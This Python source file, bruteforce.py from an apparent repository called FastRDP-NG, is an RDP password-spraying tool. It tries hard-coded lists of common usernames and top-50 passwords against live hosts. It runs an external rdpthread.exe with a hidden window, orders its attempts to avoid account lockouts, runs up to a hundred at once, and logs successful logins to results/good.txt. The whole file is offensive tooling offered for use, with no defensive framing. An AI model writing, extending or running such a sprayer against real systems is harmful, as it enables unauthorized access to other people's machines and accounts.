Files
rdp-brute/bruteforce.py

244 lines
8.0 KiB
Python

"""
FastRDP-NG: RDP Password Sprayer.
Tries top common passwords against live RDP hosts using subprocess.
"""
import asyncio
import logging
import os
import subprocess
import time
from typing import List, Tuple, Set
logger = logging.getLogger("FastRDP-NG")
# Top 50 most common RDP passwords (by frequency in breaches)
TOP50_PASSWORDS = [
"admin", "Admin", "password", "Password", "123456",
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
"123456789", "1234567890", "letmein", "welcome", "monkey",
"dragon", "master", "login", "abc123", "test",
"test123", "pass", "Pass", "P@ss", "qwerty123",
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
"sunshine", "princess", "football", "baseball", "welcome1",
"admin123", "Admin123", "password!", "password.", "password00",
]
# Top usernames for RDP
TOP_USERNAMES = [
"Administrator", "Admin", "admin", "administrator",
"User", "user", "GuestUser", "Guest", "root",
]
async def spray_password(
ip: str,
port: int,
username: str,
password: str,
timeout: float = 5.0,
) -> Tuple[str, int, str, str, bool]:
"""
Try a single credential pair against an RDP host.
Attempts to find rdpthread.exe in common locations, then
falls back to RDP banner detection (connectivity check only).
Returns (ip, port, username, password, success).
"""
# Try to locate rdpthread.exe in likely locations
base = os.path.dirname(os.path.abspath(__file__))
search_paths = [
os.path.join(base, "rdpthread.exe"),
os.path.join(base, "..", "rdpthread.exe"),
os.path.join(base, "bin", "rdpthread.exe"),
]
rdpthread_path = None
for p in search_paths:
if os.path.exists(p):
rdpthread_path = p
break
if rdpthread_path:
try:
result = subprocess.run(
[rdpthread_path, ip, str(port), username, password],
capture_output=True,
timeout=timeout,
creationflags=subprocess.CREATE_NO_WINDOW
)
output = result.stdout.decode('utf-8', errors='ignore').lower()
success = (
"success" in output or
"connected" in output or
"authenticated" in output or
result.returncode == 0
)
return (ip, port, username, password, success)
except (FileNotFoundError, subprocess.TimeoutExpired,
subprocess.CalledProcessError, OSError):
pass
# Fallback: RDP banner check (confirms RDP service is running)
# NOTE: Actual authentication requires CredSSP/NLA which needs
# a proper RDP client library. This fallback only detects open RDP ports.
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(ip, port),
timeout=2.0
)
try:
data = await asyncio.wait_for(
reader.read(4),
timeout=1.0
)
writer.close()
await writer.wait_closed()
# TPKT header (0x03) indicates RDP protocol response
if len(data) >= 2 and data[0] == 0x03:
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionError):
pass
writer.close()
await writer.wait_closed()
return (ip, port, username, password, False)
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
async def spray_all_hosts(
live_hosts: Set[Tuple[str, int]],
usernames: List[str] = None, # type: ignore
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None
) -> List[Tuple[str, int, str, str]]:
"""
Spray top passwords across all live hosts.
Tries 1 password per host, then moves to next password.
This avoids account lockouts and finds weak passwords fast.
Returns list of (ip, port, username, password) successful hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits = []
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
async def try_combo(ip: str, port: int, user: str, pwd: str):
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
)
attempts += 1
if success:
hits.append((ip, port, u, p))
if progress_callback and attempts % 100 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
progress_callback(attempts, total_attempts, len(hits), rate)
return success
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
# Spray strategy: for each password, try it against ALL hosts first
# This is the "password spraying" approach - avoids lockouts
tasks = []
for password in passwords:
for ip, port in live_hosts:
for username in usernames:
tasks.append(asyncio.create_task(
try_combo(ip, port, username, password)
))
# Execute this password batch before moving to next password
# This lets us see hits faster
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
# Found hits! Write immediately
_write_hits(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
)
return hits
async def spray_single_host(
ip: str,
port: int,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout
)
if success:
hits.append((ip, port, u, p))
if hit_callback:
hit_callback(ip, port, u, p)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
import os
output_path = os.path.join(
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
"results", "good.txt"
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:
for ip, port, user, pwd in hits:
line = f"{user}:{pwd}@{ip}:{port}\n"
f.write(line)
print(f"\n[+] HIT! {line.strip()}")